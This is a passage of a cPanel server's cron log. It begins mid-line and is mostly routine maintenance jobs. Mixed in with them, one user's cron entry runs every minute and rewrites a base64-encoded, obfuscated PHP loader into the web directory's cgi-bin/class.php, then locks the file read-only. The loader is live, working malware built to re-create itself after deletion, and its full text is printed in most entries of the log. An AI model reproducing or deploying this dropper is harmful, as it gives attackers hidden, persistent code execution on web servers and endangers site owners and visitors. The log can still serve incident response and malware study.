"$fp")
Sep 12 23:05:01 server CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:05:01 server CROND[17655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:06:01 server CROND[18511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:06:01 server CROND[18512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:06:01 server CROND[18513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:07:01 server CROND[18895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:07:01 server CROND[18896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:07:01 server CROND[18897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:08:01 server CROND[19371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:08:01 server CROND[19372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:08:01 server CROND[19373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:09:01 server CROND[19762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:09:01 server CROND[19763]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 23:09:01 server CROND[19764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:09:01 server CROND[19765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:10:01 server CROND[20293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:10:01 server CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:10:01 server CROND[20295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:10:01 server CROND[20296]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:10:01 server CROND[20300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:10:01 server CROND[20302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:10:01 server CROND[20299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:10:01 server CROND[20301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:11:01 server CROND[21138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:11:01 server CROND[21139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:11:01 server CROND[21140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:12:01 server CROND[21518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:12:01 server CROND[21519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:12:01 server CROND[21521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:12:01 server CROND[21520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:13:01 server CROND[21998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:13:01 server CROND[21999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:13:01 server CROND[22000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:14:01 server CROND[22384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:14:01 server CROND[22385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:14:01 server CROND[22386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:15:01 server CROND[22822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:15:01 server CROND[22823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:15:01 server CROND[22828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:15:01 server CROND[22842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:15:01 server CROND[22856]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 23:15:01 server CROND[22857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:15:01 server CROND[22858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:15:01 server CROND[22841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:16:01 server CROND[23822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:16:01 server CROND[23823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:16:01 server CROND[23824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:17:01 server CROND[24211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:17:01 server CROND[24212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:17:01 server CROND[24213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:18:01 server CROND[24699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
